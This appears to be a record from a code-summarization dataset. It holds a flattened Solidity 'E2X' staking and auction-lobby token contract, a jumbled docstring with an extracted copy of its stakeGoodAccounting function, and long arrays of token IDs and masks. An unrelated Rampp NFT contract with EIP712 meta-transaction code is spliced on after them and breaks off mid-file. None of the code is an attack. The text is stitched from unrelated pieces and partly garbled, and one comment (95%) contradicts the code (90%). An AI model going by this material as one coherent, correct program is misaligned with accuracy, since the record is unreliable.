Unlocks a completed stake, distributing the proceeds of any penalty * immediately. The staker must still call stakeEnd() to retrieve their stake return (if any). * @param stakerAddr Address of staker * @param stakeIndex Index of stake within stake list * @param stakeIdParam The stake's id */ function stakeGoodAccounting(address stakerAddr, uint256 stakeIndex, uint40 stakeIdParam) external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); /* require() is more informative than the default assert() */ require(stakeLists[stakerAddr].length != 0, "E2X: Empty stake list"); require(stakeIndex < stakeLists[stakerAddr].length, "E2X: stakeIndex invalid"); StakeStore storage stRef = stakeLists[stakerAddr][stakeIndex]; /* Get stake copy */ StakeCache memory st; _stakeLoad(stRef, stakeIdParam, st); /* Stake must have served full term */ require(g._currentDay >= st._lockedDay + st._stakedDays, "E2X: Stake not fully served"); /* Stake must still be locked */ require(st._unlockedDay == 0, "E2X: Stake already unlocked"); /* Check if log data needs to be updated */ _dailyDataUpdateAuto(g); /* Unlock the completed stake */ _stakeUnlock(g, st); /* stakeReturn & dividends values are unused here */ (, uint256 payout, uint256 dividends, uint256 penalty, uint256 cappedPenalty) = _stakePerformance( g, st, st._stakedDays ); emit StakeGoodAccounting( stakeIdParam, stakerAddr, msg.sender, st._stakedSuns, st._stakeShares, payout, penalty ); if (cappedPenalty != 0) { g._stakePenaltyTotal += cappedPenalty; } /* st._unlockedDay has changed */ _stakeUpdate(stRef, st); _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: Closes a stake. The order of the stake list can change so * a stake id is used to reject stale indexes. * @param stakeIndex Index of stake within stake list * @param stakeIdParam The stake's id */ function stakeEnd(uint256 stakeIndex, uint40 stakeIdParam) external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); StakeStore[] storage stakeListRef = stakeLists[msg.sender]; /* require() is more informative than the default assert() */ require(stakeListRef.length != 0, "E2X: Empty stake list"); require(stakeIndex < stakeListRef.length, "E2X: stakeIndex invalid"); /* Get stake copy */ StakeCache memory st; _stakeLoad(stakeListRef[stakeIndex], stakeIdParam, st); /* Check if log data needs to be updated */ _dailyDataUpdateAuto(g); uint256 servedDays = 0; bool prevUnlocked = (st._unlockedDay != 0); uint256 stakeReturn; uint256 payout = 0; uint256 dividends = 0; uint256 penalty = 0; uint256 cappedPenalty = 0; if (g._currentDay >= st._lockedDay) { if (prevUnlocked) { /* Previously unlocked in stakeGoodAccounting(), so must have served full term */ servedDays = st._stakedDays; } else { _stakeUnlock(g, st); servedDays = g._currentDay - st._lockedDay; if (servedDays > st._stakedDays) { servedDays = st._stakedDays; } } (stakeReturn, payout, dividends, penalty, cappedPenalty) = _stakePerformance(g, st, servedDays); msg.sender.transfer(dividends); } else { /* Stake hasn't been added to the total yet, so no penalties or rewards apply */ g._nextStakeSharesTotal -= st._stakeShares; stakeReturn = st._stakedSuns; } emit StakeEnd( stakeIdParam, prevUnlocked ? 1 : 0, msg.sender, st._lockedDay, servedDays, st._stakedSuns, st._stakeShares, dividends, payout, penalty, stakeReturn ); if (cappedPenalty != 0 && !prevUnlocked) { /* Split penalty proceeds only if not previously unlocked by stakeGoodAccounting() */ g._stakePenaltyTotal += cappedPenalty; } /* Pay the stake return, if any, to the staker */ if (stakeReturn != 0) { _mint(msg.sender, stakeReturn); } g._lockedSunsTotal -= st._stakedSuns; _stakeRemove(stakeListRef, stakeIndex); _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: Return the current stake count for a staker address * @param stakerAddr Address of staker */ function stakeCount(address stakerAddr) external view returns (uint256) { return stakeLists[stakerAddr].length; } /** * @dev Open a stake. * @param g Cache of stored globals * @param newStakedSuns Number of Suns to stake * @param newStakedDays Number of days to stake */ function _stakeStart( GlobalsCache memory g, uint256 newStakedSuns, uint256 newStakedDays ) internal { /* Enforce the maximum stake time */ require(newStakedDays <= MAX_STAKE_DAYS, "E2X: newStakedDays higher than maximum"); uint256 bonusSuns = _stakeStartBonusSuns(newStakedSuns, newStakedDays); uint256 newStakeShares = (newStakedSuns + bonusSuns) * SHARE_RATE_SCALE / g._shareRate; /* Ensure newStakedSuns is enough for at least one stake share */ require(newStakeShares != 0, "E2X: newStakedSuns must be at least minimum shareRate"); /* The stakeStart timestamp will always be part-way through the current day, so it needs to be rounded-up to the next day to ensure all stakes align with the same fixed calendar days. The current day is already rounded-down, so rounded-up is current day + 1. */ uint256 newLockedDay = g._currentDay + 1; /* Create Stake */ uint40 newStakeId = ++g._latestStakeId; _stakeAdd( stakeLists[msg.sender], newStakeId, newStakedSuns, newStakeShares, newLockedDay, newStakedDays ); emit StakeStart( newStakeId, msg.sender, newStakedSuns, newStakeShares, newStakedDays ); /* Stake is added to total in the next round, not the current round */ g._nextStakeSharesTotal += newStakeShares; /* Track total staked Suns for inflation calculations */ g._lockedSunsTotal += newStakedSuns; } /** * @dev Calculates total stake payout including rewards for a multi-day range * @param g Cache of stored globals * @param stakeSharesParam Param from stake to calculate bonuses for * @param beginDay First day to calculate bonuses for * @param endDay Last day (non-inclusive) of range to calculate bonuses for * @return Payout in Suns */ function _calcPayoutRewards( GlobalsCache memory g, uint256 stakeSharesParam, uint256 beginDay, uint256 endDay ) private view returns (uint256 payout) { uint256 counter; for (uint256 day = beginDay; day < endDay; day++) { uint256 dayPayout; dayPayout = dailyData[day].dayPayoutTotal * stakeSharesParam / dailyData[day].dayStakeSharesTotal; if (counter < 4) { counter++; } /* Eligible to receive bonus */ else { dayPayout = (dailyData[day].dayPayoutTotal * stakeSharesParam / dailyData[day].dayStakeSharesTotal) * BONUS_DAY_SCALE; counter = 0; } payout += dayPayout; } return payout; } /** * @dev Calculates user dividends * @param g Cache of stored globals * @param stakeSharesParam Param from stake to calculate bonuses for * @param beginDay First day to calculate bonuses for * @param endDay Last day (non-inclusive) of range to calculate bonuses for * @return Payout in Suns */ function _calcPayoutDividendsReward( GlobalsCache memory g, uint256 stakeSharesParam, uint256 beginDay, uint256 endDay ) private view returns (uint256 payout) { for (uint256 day = beginDay; day < endDay; day++) { uint256 dayPayout; /* user's share of 95% of the day's dividends */ dayPayout += ((dailyData[day].dayDividends * 90) / 100) * stakeSharesParam / dailyData[day].dayStakeSharesTotal; payout += dayPayout; } return payout; } /** * @dev Calculate bonus Suns for a new stake, if any * @param newStakedSuns Number of Suns to stake * @param newStakedDays Number of days to stake */ function _stakeStartBonusSuns(uint256 newStakedSuns, uint256 newStakedDays) private pure returns (uint256 bonusSuns) { /* LONGER PAYS BETTER: If longer than 1 day stake is committed to, each extra day gives bonus shares of approximately 0.0548%, which is approximately 20% extra per year of increased stake length committed to, but capped to a maximum of 200% extra. extraDays = stakedDays - 1 longerBonus% = (extraDays / 364) * 20% = (extraDays / 364) / 5 = extraDays / 1820 = extraDays / LPB extraDays = longerBonus% * 1820 extraDaysMax = longerBonusMax% * 1820 = 200% * 1820 = 3640 = LPB_MAX_DAYS BIGGER PAYS BETTER: Bonus percentage scaled 0% to 10% for the first 7M E2X of stake. biggerBonus% = (cappedSuns / BPB_MAX_SUNS) * 10% = (cappedSuns / BPB_MAX_SUNS) / 10 = cappedSuns / (BPB_MAX_SUNS * 10) = cappedSuns / BPB COMBINED: combinedBonus% = longerBonus% + biggerBonus% cappedExtraDays cappedSuns = --------------- + ------------ LPB BPB cappedExtraDays * BPB cappedSuns * LPB = --------------------- + ------------------ LPB * BPB LPB * BPB cappedExtraDays * BPB + cappedSuns * LPB = -------------------------------------------- LPB * BPB bonusSuns = suns * combinedBonus% = suns * (cappedExtraDays * BPB + cappedSuns * LPB) / (LPB * BPB) */ uint256 cappedExtraDays = 0; /* Must be more than 1 day for Longer-Pays-Better */ if (newStakedDays > 1) { cappedExtraDays = newStakedDays <= LPB_MAX_DAYS ? newStakedDays - 1 : LPB_MAX_DAYS; } uint256 cappedStakedSuns = newStakedSuns <= BPB_MAX_SUNS ? newStakedSuns : BPB_MAX_SUNS; bonusSuns = cappedExtraDays * BPB + cappedStakedSuns * LPB; bonusSuns = newStakedSuns * bonusSuns / (LPB * BPB); return bonusSuns; } function _stakeUnlock(GlobalsCache memory g, StakeCache memory st) private pure { g._stakeSharesTotal -= st._stakeShares; st._unlockedDay = g._currentDay; } function _stakePerformance(GlobalsCache memory g, StakeCache memory st, uint256 servedDays) private view returns (uint256 stakeReturn, uint256 payout, uint256 dividends, uint256 penalty, uint256 cappedPenalty) { if (servedDays < st._stakedDays) { (payout, penalty) = _calcPayoutAndEarlyPenalty( g, st._lockedDay, st._stakedDays, servedDays, st._stakeShares ); stakeReturn = st._stakedSuns + payout; dividends = _calcPayoutDividendsReward( g, st._stakeShares, st._lockedDay, st._lockedDay + servedDays ); } else { // servedDays must == stakedDays here payout = _calcPayoutRewards( g, st._stakeShares, st._lockedDay, st._lockedDay + servedDays ); dividends = _calcPayoutDividendsReward( g, st._stakeShares, st._lockedDay, st._lockedDay + servedDays ); stakeReturn = st._stakedSuns + payout; penalty = _calcLatePenalty(st._lockedDay, st._stakedDays, st._unlockedDay, stakeReturn); } if (penalty != 0) { if (penalty > stakeReturn) { /* Cannot have a negative stake return */ cappedPenalty = stakeReturn; stakeReturn = 0; } else { /* Remove penalty from the stake return */ cappedPenalty = penalty; stakeReturn -= cappedPenalty; } } return (stakeReturn, payout, dividends, penalty, cappedPenalty); } function _calcPayoutAndEarlyPenalty( GlobalsCache memory g, uint256 lockedDayParam, uint256 stakedDaysParam, uint256 servedDays, uint256 stakeSharesParam ) private view returns (uint256 payout, uint256 penalty) { uint256 servedEndDay = lockedDayParam + servedDays; /* 50% of stakedDays (rounded up) with a minimum applied */ uint256 penaltyDays = (stakedDaysParam + 1) / 2; if (penaltyDays < EARLY_PENALTY_MIN_DAYS) { penaltyDays = EARLY_PENALTY_MIN_DAYS; } if (servedDays == 0) { /* Fill penalty days with the estimated average payout */ uint256 expected = _estimatePayoutRewardsDay(g, stakeSharesParam, lockedDayParam); penalty = expected * penaltyDays; return (payout, penalty); // Actual payout was 0 } if (penaltyDays < servedDays) { /* Simplified explanation of intervals where end-day is non-inclusive: penalty: [lockedDay ... penaltyEndDay) delta: [penaltyEndDay ... servedEndDay) payout: [lockedDay ....................... servedEndDay) */ uint256 penaltyEndDay = lockedDayParam + penaltyDays; penalty = _calcPayoutRewards(g, stakeSharesParam, lockedDayParam, penaltyEndDay); uint256 delta = _calcPayoutRewards(g, stakeSharesParam, penaltyEndDay, servedEndDay); payout = penalty + delta; return (payout, penalty); } /* penaltyDays >= servedDays */ payout = _calcPayoutRewards(g, stakeSharesParam, lockedDayParam, servedEndDay); if (penaltyDays == servedDays) { penalty = payout; } else { /* (penaltyDays > servedDays) means not enough days served, so fill the penalty days with the average payout from only the days that were served. */ penalty = payout * penaltyDays / servedDays; } return (payout, penalty); } function _calcLatePenalty( uint256 lockedDayParam, uint256 stakedDaysParam, uint256 unlockedDayParam, uint256 rawStakeReturn ) private pure returns (uint256) { /* Allow grace time before penalties accrue */ uint256 maxUnlockedDay = lockedDayParam + stakedDaysParam + LATE_PENALTY_GRACE_DAYS; if (unlockedDayParam <= maxUnlockedDay) { return 0; } /* Calculate penalty as a percentage of stake return based on time */ return rawStakeReturn * (unlockedDayParam - maxUnlockedDay) / LATE_PENALTY_SCALE_DAYS; } } contract TransformableToken is StakeableToken { /** * @dev PUBLIC FACING: Enter the auction lobby for the current round * @param referrerAddr TRX address of referring user (optional; 0x0 for no referrer) */ function xfLobbyEnter(address referrerAddr) external payable { uint256 enterDay = _currentDay(); uint256 rawAmount = msg.value; require(rawAmount != 0, "E2X: Amount required"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 entryIndex = qRef.tailIndex++; qRef.entries[entryIndex] = XfLobbyEntryStore(uint96(rawAmount), referrerAddr); xfLobby[enterDay] += rawAmount; emit XfLobbyEnter( block.timestamp, enterDay, entryIndex, rawAmount ); } /** * @dev PUBLIC FACING: Leave the transform lobby after the round is complete * @param enterDay Day number when the member entered * @param count Number of queued-enters to exit (optional; 0 for all) */ function xfLobbyExit(uint256 enterDay, uint256 count) external { require(enterDay < _currentDay(), "E2X: Round is not complete"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 headIndex = qRef.headIndex; uint256 endIndex; if (count != 0) { require(count <= qRef.tailIndex - headIndex, "E2X: count invalid"); endIndex = headIndex + count; } else { endIndex = qRef.tailIndex; require(headIndex < endIndex, "E2X: count invalid"); } uint256 waasLobby = _waasLobby(enterDay); uint256 _xfLobby = xfLobby[enterDay]; uint256 totalXfAmount = 0; do { uint256 rawAmount = qRef.entries[headIndex].rawAmount; address referrerAddr = qRef.entries[headIndex].referrerAddr; delete qRef.entries[headIndex]; uint256 xfAmount = waasLobby * rawAmount / _xfLobby; if (referrerAddr == address(0) || referrerAddr == msg.sender) { /* No referrer or Self-referred */ _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); } else { /* Referral bonus of 5% of xfAmount to member */ uint256 referralBonusSuns = xfAmount / 20; xfAmount += referralBonusSuns; /* Then a cumulative referrer bonus of 10% to referrer */ uint256 referrerBonusSuns = xfAmount / 10; _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); _mint(referrerAddr, referrerBonusSuns); } totalXfAmount += xfAmount; } while (++headIndex < endIndex); qRef.headIndex = uint40(headIndex); if (totalXfAmount != 0) { _mint(msg.sender, totalXfAmount); } } /** * @dev PUBLIC FACING: External helper to return multiple values of xfLobby[] with * a single call * @param beginDay First day of data range * @param endDay Last day (non-inclusive) of data range * @return Fixed array of values */ function xfLobbyRange(uint256 beginDay, uint256 endDay) external view returns (uint256[] memory list) { require( beginDay < endDay && endDay <= _currentDay(), "E2X: invalid range" ); list = new uint256[](endDay - beginDay); uint256 src = beginDay; uint256 dst = 0; do { list[dst++] = uint256(xfLobby[src++]); } while (src < endDay); return list; } /** * @dev PUBLIC FACING: Release 5% dev share from daily dividends */ function xfFlush() external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); require(address(this).balance != 0, "E2X: No value"); require(LAST_FLUSHED_DAY < _currentDay(), "E2X: Invalid day"); _dailyDataUpdateAuto(g); FLUSH_ADDR.transfer((dailyData[LAST_FLUSHED_DAY].dayDividends * 4) / 100); T2X_SHARE_ADDR.transfer((dailyData[LAST_FLUSHED_DAY].dayDividends * 6) / 100); LAST_FLUSHED_DAY++; _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: Return a current lobby member queue entry. * Only needed due to limitations of the standard ABI encoder. * @param memberAddr TRX address of the lobby member * @param enterDay * @param entryIndex * @return 1: Raw amount that was entered with; 2: Referring TRX addr (optional; 0x0 for no referrer) */ function xfLobbyEntry(address memberAddr, uint256 enterDay, uint256 entryIndex) external view returns (uint256 rawAmount, address referrerAddr) { XfLobbyEntryStore storage entry = xfLobbyMembers[enterDay][memberAddr].entries[entryIndex]; require(entry.rawAmount != 0, "E2X: Param invalid"); return (entry.rawAmount, entry.referrerAddr); } /** * @dev PUBLIC FACING: Return the lobby days that a user is in with a single call * @param memberAddr TRX address of the user * @return Bit vector of lobby day numbers */ function xfLobbyPendingDays(address memberAddr) external view returns (uint256[XF_LOBBY_DAY_WORDS] memory words) { uint256 day = _currentDay() + 1; while (day-- != 0) { if (xfLobbyMembers[day][memberAddr].tailIndex > xfLobbyMembers[day][memberAddr].headIndex) { words[day >> 8] |= 1 << (day & 255); } } return words; } function _waasLobby(uint256 enterDay) private returns (uint256 waasLobby) { /* 1342465753424 = ~ 4900000 * SUNS_PER_E2X / 365 */ if (enterDay > 0 && enterDay <= 365) { waasLobby = CLAIM_STARTING_AMOUNT - ((enterDay - 1) * 1342465753424); } else { waasLobby = CLAIM_LOWEST_AMOUNT; } return waasLobby; } function _emitXfLobbyExit( uint256 enterDay, uint256 entryIndex, uint256 xfAmount, address referrerAddr ) private { emit XfLobbyExit( block.timestamp, enterDay, entryIndex, xfAmount, referrerAddr ); } } contract E2X is TransformableToken { constructor() public { /* Initialize global shareRate to 1 */ globals.shareRate = uint40(1 * SHARE_RATE_SCALE); } function() external payable {} }
* @dev PUBLIC FACING: Unlocks a completed stake, distributing the proceeds of any penalty immediately. The staker must still call stakeEnd() to retrieve their stake return (if any). @param stakerAddr Address of staker @param stakeIndex Index of stake within stake list @param stakeIdParam The stake's id/ require() is more informative than the default assert() */ Get stake copy */ Stake must have served full term */ Stake must still be locked */ Check if log data needs to be updated */ Unlock the completed stake */ stakeReturn & dividends values are unused here */
function stakeGoodAccounting(address stakerAddr, uint256 stakeIndex, uint40 stakeIdParam) external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); require(stakeLists[stakerAddr].length != 0, "E2X: Empty stake list"); require(stakeIndex < stakeLists[stakerAddr].length, "E2X: stakeIndex invalid"); StakeStore storage stRef = stakeLists[stakerAddr][stakeIndex]; StakeCache memory st; _stakeLoad(stRef, stakeIdParam, st); require(g._currentDay >= st._lockedDay + st._stakedDays, "E2X: Stake not fully served"); require(st._unlockedDay == 0, "E2X: Stake already unlocked"); _dailyDataUpdateAuto(g); _stakeUnlock(g, st); (, uint256 payout, uint256 dividends, uint256 penalty, uint256 cappedPenalty) = _stakePerformance( g, st, st._stakedDays ); emit StakeGoodAccounting( stakeIdParam, stakerAddr, msg.sender, st._stakedSuns, st._stakeShares, payout, penalty ); if (cappedPenalty != 0) { g._stakePenaltyTotal += cappedPenalty; } _globalsSync(g, gSnapshot); }
2,179,768
[ 1, 14939, 478, 2226, 1360, 30, 3967, 87, 279, 5951, 384, 911, 16, 1015, 665, 8490, 326, 11247, 87, 434, 1281, 23862, 7636, 18, 1021, 384, 6388, 1297, 4859, 745, 384, 911, 1638, 1435, 358, 4614, 3675, 384, 911, 327, 261, 430, 1281, 2934, 225, 384, 6388, 3178, 5267, 434, 384, 6388, 225, 384, 911, 1016, 3340, 434, 384, 911, 3470, 384, 911, 666, 225, 384, 911, 548, 786, 1021, 384, 911, 1807, 612, 19, 2583, 1435, 353, 1898, 13235, 1535, 2353, 326, 805, 1815, 1435, 342, 968, 384, 911, 1610, 342, 934, 911, 1297, 1240, 30722, 1983, 2481, 342, 934, 911, 1297, 4859, 506, 8586, 342, 2073, 309, 613, 501, 4260, 358, 506, 3526, 342, 3967, 326, 5951, 384, 911, 342, 384, 911, 990, 473, 3739, 350, 5839, 924, 854, 10197, 2674, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 18195, 3032, 310, 12, 2867, 384, 6388, 3178, 16, 2254, 5034, 384, 911, 1016, 16, 2254, 7132, 384, 911, 548, 786, 13, 203, 3639, 3903, 203, 565, 288, 203, 3639, 18901, 1031, 1649, 3778, 314, 31, 203, 3639, 18901, 1031, 1649, 3778, 314, 4568, 31, 203, 3639, 389, 16227, 2563, 12, 75, 16, 314, 4568, 1769, 203, 203, 3639, 2583, 12, 334, 911, 7432, 63, 334, 6388, 3178, 8009, 2469, 480, 374, 16, 315, 41, 22, 60, 30, 8953, 384, 911, 666, 8863, 203, 3639, 2583, 12, 334, 911, 1016, 411, 384, 911, 7432, 63, 334, 6388, 3178, 8009, 2469, 16, 315, 41, 22, 60, 30, 384, 911, 1016, 2057, 8863, 203, 203, 3639, 934, 911, 2257, 2502, 384, 1957, 273, 384, 911, 7432, 63, 334, 6388, 3178, 6362, 334, 911, 1016, 15533, 203, 203, 3639, 934, 911, 1649, 3778, 384, 31, 203, 3639, 389, 334, 911, 2563, 12, 334, 1957, 16, 384, 911, 548, 786, 16, 384, 1769, 203, 203, 3639, 2583, 12, 75, 6315, 2972, 4245, 1545, 384, 6315, 15091, 4245, 397, 384, 6315, 334, 9477, 9384, 16, 315, 41, 22, 60, 30, 934, 911, 486, 7418, 30722, 8863, 203, 203, 3639, 2583, 12, 334, 6315, 318, 15091, 4245, 422, 374, 16, 315, 41, 22, 60, 30, 934, 911, 1818, 25966, 8863, 203, 203, 3639, 389, 26790, 751, 1891, 4965, 12, 75, 1769, 203, 203, 3639, 389, 334, 911, 7087, 12, 75, 16, 384, 1769, 203, 203, 3639, 261, 16, 2254, 5034, 293, 2012, 16, 2254, 5034, 3739, 2 ]
//*********************************************************************// //*********************************************************************// // // // 8888888b. d8888 888b d888 8888888b. 8888888b. // 888 Y88b d88888 8888b d8888 888 Y88b 888 Y88b // 888 888 d88P888 88888b.d88888 888 888 888 888 // 888 d88P d88P 888 888Y88888P888 888 d88P 888 d88P // 8888888P" d88P 888 888 Y888P 888 8888888P" 8888888P" // 888 T88b d88P 888 888 Y8P 888 888 888 // 888 T88b d8888888888 888 " 888 888 888 // 888 T88b d88P 888 888 888 888 888 // v1.1.0 // // // This project and smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT projects without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Twitter: @RamppDAO ---- rampp.xyz // //*********************************************************************// //*********************************************************************// // File: contracts/common/meta-transactions/Initializable.sol pragma solidity ^ 0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: contracts/common/meta-transactions/EIP712Base.sol pragma solidity ^ 0.8.0; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns(bytes32) { return domainSeperator; } function getChainId() public view returns(uint256) { uint256 id; assembly { id:= chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\x19" makes the encoding deterministic * "\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns(bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: contracts/common/meta-transactions/ContentMixin.sol pragma solidity ^ 0.8.0; abstract contract ContextMixin { function msgSender() internal view returns(address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender:= and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^ 0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: 'SafeMath' is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns(bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns(bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns(bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns(bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns(bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's '+' operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's '- ' operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's '* ' operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's '/ ' operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's '% ' operator. This function uses a 'revert' * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns(uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's '- ' operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns(uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's '/ ' operator. Note: this function uses a * 'revert' opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns(uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's '% ' operator. This function uses a 'revert' * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns(uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/common/meta-transactions/NativeMetaTransaction.sol pragma solidity ^ 0.8.0; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns(bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns(bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns(uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns(bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // 